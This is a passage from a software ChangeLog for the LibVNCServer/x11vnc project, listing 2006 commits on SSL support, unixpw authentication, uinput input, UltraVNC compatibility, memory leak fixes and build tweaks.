5213	x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc,
5214	x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
5215	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: more
5216	UINPUT mode tweaks.
5217
52182006-07-10  runge <runge>
5219
5220	* x11vnc/README, x11vnc/help.c, x11vnc/remote.c, x11vnc/sslcmds.c,
5221	x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/unixpw.c,
5222	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5223	x11vnc/x11vnc_defs.c: x11vnc: improve uinput heuristics so button
5224	clicks work on qt-embedded.
5225
52262006-07-09  runge <runge>
5227
5228	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
5229	x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c,
5230	x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
5231	x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c,
5232	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c,
5233	x11vnc/uinput.h, x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1,
5234	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add uinput support
5235	for full input into linux fb device (e.g. qt-embed).
5236
52372006-07-05  runge <runge>
5238
5239	* x11vnc/README, x11vnc/keyboard.c: x11vnc: whoops str decl in wrong
5240	place for old compilers.
5241
52422006-07-04  runge <runge>
5243
5244	* x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c,
5245	x11vnc/xwrappers.c: x11vnc: check all XKeysymToString() return
5246	values.
5247
52482006-07-04  runge <runge>
5249
5250	* x11vnc/README, x11vnc/keyboard.c, x11vnc/unixpw.c,
5251	x11vnc/unixpw.h: x11vnc: plug a couple unixpw gaps.
5252
52532006-07-04  runge <runge>
5254
5255	* configure.ac, x11vnc/README, x11vnc/inet.c, x11vnc/keyboard.c,
5256	x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.c,
5257	x11vnc/v4l.c, x11vnc/x11vnc.c, x11vnc/x11vnc.h: x11vnc: remove
5258	compiler warnings; HP-UX tweaks.
5259
52602006-07-04  runge <runge>
5261
5262	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
5263	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
5264	x11vnc/cursor.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c,
5265	x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c,
5266	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/unixpw.c,
5267	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c,
5268	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
5269	x11vnc/xevents.c: x11vnc: more -unixpw work.  add -license, etc.
5270	options
5271
52722006-06-24  runge <runge>
5273
5274	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
5275	x11vnc/connections.c, x11vnc/connections.h, x11vnc/gui.c,
5276	x11vnc/scan.c, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/unixpw.c,
5277	x11vnc/user.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c,
5278	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
5279	x11vnc/xwrappers.c: x11vnc: misc cleanup.
5280
52812006-06-18  runge <runge>
5282
5283	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
5284	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h,
5285	x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c,
5286	x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c,
5287	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c,
5288	x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
5289	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5290	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c,
5291	x11vnc/userinput.c, x11vnc/util.c, x11vnc/v4l.c,
5292	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5293	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
5294	x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xrandr.h,
5295	x11vnc/xwrappers.c: x11vnc: --grabkbd, -grabptr, -env, -allowedcmds,
5296	unixpw+WAIT user fred:options
5297
52982006-06-15  dscho <dscho>
5299
5300	* VisualNaCro/README: fix typo
5301
53022006-06-15  dscho <dscho>
5303
5304	* VisualNaCro/ChangeLog, VisualNaCro/NEWS, VisualNaCro/recorder.pl: 
5305	no need for Time::HiRes to play back
5306
53072006-06-15  dscho <dscho>
5308
5309	* VisualNaCro/recorder.pl: add timing
5310
53112006-06-13  runge <runge>
5312
5313	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
5314	x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
5315	x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c,
5316	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c,
5317	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h,
5318	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5319	x11vnc/x11vnc_defs.c: x11vnc: -display WAIT:cmd=FINDDISPLAY,
5320	HTTPONCE, -http_ssl option, Java fixes.
5321
53222006-06-09  runge <runge>
5323
5324	* x11vnc/ChangeLog, x11vnc/README, x11vnc/unixpw.c, x11vnc/user.c: 
5325	x11vnc: make -display WAIT + -unixpw work on Solaris.
5326
53272006-06-08  runge <runge>
5328
5329	* ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
5330	x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c,
5331	x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/pointer.c,
5332	x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslcmds.c,
5333	x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5334	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
5335	x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5336	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
5337	x11vnc/xkb_bell.c, x11vnc/xrecord.c, x11vnc/xwrappers.c,
5338	x11vnc/xwrappers.h:   x11vnc: -display WAIT:..., -users unixpw=, su_verify dpy command.
5339
53402006-06-05  steven_carr <steven_carr>
5341
5342	* libvncclient/rfbproto.c, libvncserver/auth.c,
5343	libvncserver/rfbserver.c: RFB 3.8 clients are well informed
5344
53452006-06-05  steven_carr <steven_carr>
5346
5347	* libvncserver/auth.c: Better support for RFB >= 3.8 protocols
5348
53492006-06-05  steven_carr <steven_carr>
5350
5351	* libvncserver/auth.c: All security types for RFB >= 3.7 *have* to
5352	respond with a Security Result (Even rfbSecTypeNone)
5353
53542006-06-03  runge <runge>
5355
5356	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
5357	x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c,
5358	x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h,
5359	x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5360	x11vnc/screen.h, x11vnc/sslcmds.c, x11vnc/sslhelper.c,
5361	x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5362	x11vnc/unixpw.c, x11vnc/userinput.c, x11vnc/win_utils.c,
5363	x11vnc/win_utils.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5364	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
5365	x11vnc/xevents.h, x11vnc/xwrappers.c:  x11vnc: -capslock -skip_lockkeys; Alt keys under -rawfb cons.
5366
53672006-06-03  runge <runge>
5368
5369	* libvncserver/auth.c: move all types into handler loop.
5370
53712006-05-29  steven_carr <steven_carr>
5372
5373	* ChangeLog: Identified and removed some memory leaks associated
5374	with the Encodings RRE, CoRRE, ZLIB, and Ultra.  KeyboardLedState
5375	now has portable masks defined.  rfb >= 3.7 Security Type Handler
5376	list would grow 1 entry for each new client connection.
5377
53782006-05-29  steven_carr <steven_carr>
5379
5380	* libvncserver/auth.c: Security Type memory leak plugged.  Leaks
5381	when rfb >= 3.7 clients connects.  The security list would grow 1
5382	entry when clients connect.
5383
53842006-05-28  steven_carr <steven_carr>
5385
5386	* rfb/rfbproto.h: KeyboardLedState Encoding Masks are now defined
5387	for portability
5388
53892006-05-28  steven_carr <steven_carr>
5390
5391	* libvncserver/corre.c, libvncserver/main.c,
5392	libvncserver/private.h, libvncserver/rfbserver.c,
5393	libvncserver/rre.c, libvncserver/ultra.c, libvncserver/zlib.c: 
5394	Plugged some memory leakage
5395
53962006-05-16  steven_carr <steven_carr>
5397
5398	* libvncserver/rfbserver.c, rfb/rfb.h: Permit auth.c to test major
5399	version
5400
54012006-05-16  steven_carr <steven_carr>
5402
5403	* libvncserver/auth.c: Specifically test for Major Version 3 added
5404
54052006-05-16  steven_carr <steven_carr>
5406
5407	* ChangeLog, libvncserver/stats.c: Statistics now fit into 80-column
5408	output
5409
54102006-05-16  steven_carr <steven_carr>
5411
5412	* libvncserver/stats.c: Statistics output now fits in 80-column
5413	output
5414
54152006-05-16  steven_carr <steven_carr>
5416
5417	* libvncserver/cursor.c: Corrected Cursor Statistics reporting as
5418	messages
5419
54202006-05-15  dscho <dscho>
5421
5422	* libvncserver/tightvnc-filetransfer/Makefile.am: remove unneeded
5423	file
5424
54252006-05-15  steven_carr <steven_carr>
5426
5427	* libvncserver/rfbserver.c, rfb/rfb.h: Support sending TextChat
5428	messages back to the client
5429
54302006-05-15  steven_carr <steven_carr>
5431
5432	* ChangeLog, libvncserver/cargs.c, libvncserver/main.c,
5433	libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: Default to RFB
5434	3.8, add command line option to specify the RFB version.
5435
54362006-05-15  steven_carr <steven_carr>
5437
5438	* ChangeLog, client_examples/SDLvncviewer.c,
5439	libvncclient/rfbproto.c, libvncclient/ultra.c, libvncclient/zrle.c,
5440	libvncserver/auth.c, libvncserver/corre.c, libvncserver/cursor.c,
5441	libvncserver/hextile.c, libvncserver/main.c,
5442	libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c,
5443	libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tight.c,
5444	libvncserver/tightvnc-filetransfer/rfbtightproto.h,
5445	libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c,
5446	rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/rates.c,
5447	x11vnc/userinput.c: The great UltraVNC Compatibility Commit
5448
54492006-05-13  runge <runge>
5450
5451	* ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h,
5452	libvncclient/minilzo.c, libvncclient/minilzo.h,
5453	libvncserver/lzoconf.h, libvncserver/minilzo.c,
5454	libvncserver/minilzo.h, libvncserver/rfbserver.c,
5455	libvncserver/scale.c, vncterm/Makefile.am:  fix some build issues WRT ultravnc code.
5456
54572006-05-07  runge <runge>
5458
5459	* ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog,
5460	x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c,
5461	x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c,
5462	x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/options.c,
5463	x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pointer.c,
5464	x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5465	x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c,
5466	x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5467	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/v4l.c,
5468	x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5469	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
5470	x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xkb_bell.c,
5471	x11vnc/xrandr.c, x11vnc/xrecord.c, x11vnc/xwrappers.c,
5472	x11vnc/xwrappers.h:  x11vnc: support for video4linux webcams & tv-tuners, -24to32 bpp
5473	 option, -rawfb console.
5474
54752006-05-04  steven_carr <steven_carr>
5476
5477	* ChangeLog, libvncclient/rfbproto.c, libvncserver/rfbserver.c,
5478	rfb/rfb.h, rfb/rfbproto.h, x11vnc/screen.c: Server Capability
5479	Encodings rfbEncodingSupportedEncodings - What encodings are
5480	supported? rfbEncodingSupportedMessages  - What message types are
5481	supported? rfbEncodingServerIdentity     - What is the servers
5482	version string? ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (LibVNCServer
5483	0.9pre)"
5484
54852006-05-04  steven_carr <steven_carr>
5486
5487	* libvncclient/rfbproto.c: UltraVNC with scaling, will send
5488	rectangles with a zero W or H We need to process the rectangle
5489	(especially if it a type that contains subrectangles or any kind of
5490	compression).   UltraVNC should be fixed to prevent these useless
5491	rectangles from being sent.
5492
54932006-05-04  steven_carr <steven_carr>
5494
5495	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
5496	rfb/rfbclient.h: Client side support for PalmVNC/UltraVNC 'Server
5497	Side Scaling'
5498
54992006-05-04  steven_carr <steven_carr>
5500
5501	* rfb/rfbproto.h: KeyboardLedState should be placed in 'various
5502	protocol extensions'
5503
55042006-05-03  steven_carr <steven_carr>
5505
5506	* ChangeLog, libvncserver/Makefile.am, libvncserver/corre.c,
5507	libvncserver/cursor.c, libvncserver/hextile.c, libvncserver/main.c,
5508	libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c,
5509	libvncserver/scale.h, libvncserver/stats.c, libvncserver/tight.c,
5510	libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c,
5511	rfb/rfb.h: Client Independent Server Side Scaling is now supported
5512	Both PalmVNC and UltraVNC SetScale messages are supported
5513
55142006-05-02  steven_carr <steven_carr>
5515
5516	* ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h,
5517	libvncclient/minilzo.c, libvncclient/minilzo.h,
5518	libvncclient/rfbproto.c, libvncclient/ultra.c,
5519	libvncclient/vncviewer.c, libvncserver/Makefile.am,
5520	libvncserver/lzoconf.h, libvncserver/minilzo.c,
5521	libvncserver/minilzo.h, libvncserver/rfbserver.c,
5522	libvncserver/ultra.c, rfb/rfb.h, rfb/rfbclient.h: Ultra Encoding
5523	added.   Tested against UltraVNC V1.01
5524
55252006-05-02  steven_carr <steven_carr>
5526
5527	* libvncclient/rfbproto.c: CopyRectangle() BPP!=8 bug fixed
5528
55292006-05-02  steven_carr <steven_carr>
5530
5531	* libvncclient/vncviewer.c: Eliminate incompatible pointer
5532	assignment warning (gcc 4.0.1)
5533
55342006-05-02  steven_carr <steven_carr>
5535
5536	* libvncclient/hextile.c, libvncclient/tight.c, libvncclient/zlib.c: 
5537	signed vs unsigned warnings eliminated (gcc 4.0.1)
5538
55392006-04-30  dscho <dscho>
5540
5541	* examples/Makefile.am: include rotatetemplate.c in the tarball
5542
55432006-04-28  dscho <dscho>
5544
5545	* client_examples/SDLvncviewer.c, libvncclient/rfbproto.c,
5546	rfb/rfbclient.h: libvncclient: support changing of framebuffer size;
5547	make SDLvncviewer use it
5548
55492006-04-28  dscho <dscho>
5550
5551	* client_examples/SDLvncviewer.c: fix SDLvncviewer for widths which
5552	are not divisible by 8
5553
55542006-04-27  dscho <dscho>
5555
5556	* ChangeLog, examples/.cvsignore, examples/Makefile.am,
5557	examples/pnmshow.c, examples/rotate.c, examples/rotatetemplate.c: 
5558	add rotate and flip example
5559
55602006-04-27  dscho <dscho>
5561
5562	* examples/camera.c: malloc.h should not be needed (it is missing on
5563	quite a few platforms)
5564
55652006-04-26  runge <runge>
5566
5567	* ChangeLog, classes/ssl/ssl_vncviewer,
5568	client_examples/Makefile.am, configure.ac, contrib/Makefile.am,
5569	examples/Makefile.am, libvncclient/Makefile.am,
5570	libvncserver/Makefile.am,
5571	libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am,
5572	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/help.c,
5573	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
5574	x11vnc/x11vnc_defs.c:  Make VPATH building work with -I $(top_srcdir) for rfb/rfb.h
5575
55762006-04-17  steven_carr <steven_carr>
5577
5578	* ChangeLog, examples/Makefile.am, examples/camera.c: Added an
5579	example camera application to demonstrate another way to write a
5580	server application.
5581
55822006-04-16  runge <runge>
5583
5584	* classes/ssl/ssl_vncviewer,
5585	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
5586	x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
5587	x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/ssltools.h,
5588	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c:  Apache SSL gateway. More web proxy cases for Java and
5589	 ssl_vncviewer.
5590
55912006-04-05  runge <runge>
5592
5593	* ChangeLog, classes/ssl/Makefile.am, classes/ssl/README,
5594	classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer,
5595	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
5596	configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
5597	x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c,
5598	x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/help.c,
5599	x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pm.h,
5600	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslcmds.c,
5601	x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
5602	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5603	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5604	x11vnc/x11vnc_defs.c:  SSL Java viewer work thru proxy.  -sslGenCA, etc key/cert
5605	 management utils for x11vnc.  FBPM "support".
5606
56072006-03-28  dscho <dscho>
5608
5609	* ChangeLog, client_examples/SDLvncviewer.c,
5610	libvncclient/rfbproto.c, libvncclient/vncviewer.c,
5611	libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h,
5612	rfb/rfbclient.h, rfb/rfbproto.h: add KeyboardLedState extension
5613
56142006-03-28  runge <runge>
5615
5616	* ChangeLog, classes/Makefile.am, classes/ssl/Makefile.am,
5617	classes/ssl/index.vnc,
5618	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab
5619	-traversal.patch,
5620	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
5621	configure.ac, libvncserver/httpd.c, prepare_x11vnc_dist.sh,
5622	x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
5623	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
5624	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c,
5625	x11vnc/options.h, x11vnc/pointer.c, x11vnc/rates.c,
5626	x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslcmds.c,
5627	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc,
5628	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
5629	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
5630	x11vnc/xwrappers.c:  SSL patch for Java viewer.  https support for x11vnc.
5631
56322006-03-27  dscho <dscho>
5633
5634	* AUTHORS, ChangeLog, libvncserver/rfbserver.c: ignore
5635	maxRectsPerUpdate when encoding is Zlib (thanks scarr)
5636
56372006-03-27  dscho <dscho>
5638
5639	* libvncclient/vncviewer.c: libvncclient: take -compress <level> and
5640	-quality <level> command line arguments
5641
56422006-03-12  runge <runge>
5643
5644	* configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
5645	x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c,
5646	x11vnc/gui.c, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/options.c,
5647	x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5648	x11vnc/screen.h, x11vnc/selection.c, x11vnc/sslcmds.c,
5649	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc,
5650	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
5651	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
5652	x11vnc/xevents.c:  x11vnc: add -ssl mode using libssl.  Include Xdummy in misc.
5653
56542006-03-08  runge <runge>
5655
5656	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
5657	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
5658	x11vnc/screen.c, x11vnc/selection.c, x11vnc/selection.h,
5659	x11vnc/sslcmds.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5660	x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5661	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h:  x11vnc: do CLIPBOARD, reverse conn require passwds, -usepw,
5662	 -debug_sel, -storepasswd homedir.
5663
56642006-03-06  runge <runge>
5665
5666	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
5667	x11vnc/connections.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c,
5668	x11vnc/params.h, x11vnc/remote.c, x11vnc/sslcmds.c,
5669	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
5670	x11vnc/unixpw.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5671	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h:  x11vnc: gui speedup and fixes. -unixpw and -inetd
5672
56732006-03-05  runge <runge>
5674
5675	* configure.ac, x11vnc/ChangeLog, x11vnc/README,
5676	x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/inet.c,
5677	x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
5678	x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/tkx11vnc,
5679	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h,
5680	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5681	x11vnc/x11vnc_defs.c:  x11vnc: -unixpw on *bsd, hpux and tru64. -unixpw_nis mode. stunnel
5682	 and gui tweaks.
5683
56842006-03-03  runge <runge>
5685
5686	* configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
5687	x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h,
5688	x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc,
5689	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h,
5690	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5691	x11vnc/x11vnc_defs.c:  x11vnc: more -unixpw mode. -gone popup mode. Change filexfer via
5692	 -R. Tune SMALL_FOOTPRINT.
5693
56942006-03-01  dscho <dscho>
5695
5696	* examples/Makefile.am, examples/blooptest.c, examples/example.c: 
5697	Fix blooptest example
5698
56992006-03-01  dscho <dscho>
5700
5701	* rfb/keysym.h: do not assume that KEYSYM_H guards X11's keysym.h
5702
57032006-03-01  dscho <dscho>
5704
5705	* libvncserver/main.c: do not timeout on idle client input (with
5706	pthreads)
5707
57082006-03-01  dscho <dscho>
5709
5710	* examples/Makefile.am: if compiling with pthreads, also compile
5711	blooptest
5712
57132006-02-28  dscho <dscho>
5714
5715	* libvncserver/sockets.c: rfbCheckFds now returns the number of
5716	processed events
5717
57182006-02-28  dscho <dscho>
5719
5720	* AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/sockets.c,
5721	rfb/rfb.h: add handleEventsEagerly flag (Thanks, Donald)
5722
57232006-02-25  runge <runge>
5724
5725	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
5726	x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/cleanup.c,
5727	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c,
5728	x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h,
5729	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
5730	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5731	x11vnc/selection.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
5732	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
5733	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c,
5734	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5735	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c,
5736	x11vnc/xrecord.c:  x11vnc: -unixpw and -stunnel.  Add clipboard to input control.
5737
57382006-02-24  rohit_99129 <rohit_99129>
5739
5740	* libvncserver/main.c, rfb/rfb.h: Added method to get extension
5741	specific client data
5742
57432006-02-24  rohit_99129 <rohit_99129>
5744
5745	* ChangeLog, libvncserver/main.c,
5746	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: 
5747	Added method to get extension specific client data
5748
57492006-02-22  dscho <dscho>
5750
5751	* ChangeLog, libvncserver/auth.c, libvncserver/main.c,
5752	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add
5753	functions to unregister extensions/security types
5754
57552006-02-21  dscho <dscho>
5756
5757	* configure.ac, x11vnc/Makefile.am: IRIX linker is very picky about
5758	order of libraries
5759
57602006-02-20  runge <runge>
5761
5762	* ChangeLog, configure.ac, libvncserver/cursor.c,
5763	libvncserver/main.c,
5764	libvncserver/tightvnc-filetransfer/filelistinfo.c,
5765	libvncserver/tightvnc-filetransfer/filetransfermsg.c,
5766	libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
5767	prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
5768	x11vnc/connections.c, x11vnc/inet.c, x11vnc/user.c,
5769	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c:  fix some non-gcc compiler warnings and signals in x11vnc
5770
57712006-02-07  runge <runge>
5772
5773	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1,
5774	x11vnc/x11vnc.h: x11vnc: fix AIX build wrt h_errno.
5775
57762006-02-06  runge <runge>
5777
5778	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
5779	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c:  x11vnc: -8to24 more speedups; tunables for very slow machines.
5780
57812006-02-05  runge <runge>
5782
5783	* x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README,
5784	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
5785	x11vnc/rates.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/userinput.c,
5786	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
5787	x11vnc/xinerama.c:  x11vnc: -8to24 speedups and improvements.
5788
57892006-01-22  runge <runge>
5790
5791	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
5792	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
5793	x11vnc/rates.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc,
5794	x11vnc/tkx11vnc.h, x11vnc/win_utils.c, x11vnc/x11vnc.1,
5795	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c:  x11vnc: -8to24 opts, use XGetSubImage. fix -threads deadlocks and
5796	 -rawfb crash
5797
57982006-01-19  runge <runge>
5799
5800	* x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README,
5801	x11vnc/cursor.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/scan.c,
5802	x11vnc/screen.c, x11vnc/userinput.c, x11vnc/x11vnc.1,
5803	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c:  x11vnc: -8to24 now works on default depth 8 displays.
5804
58052006-01-16  runge <runge>
5806
5807	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
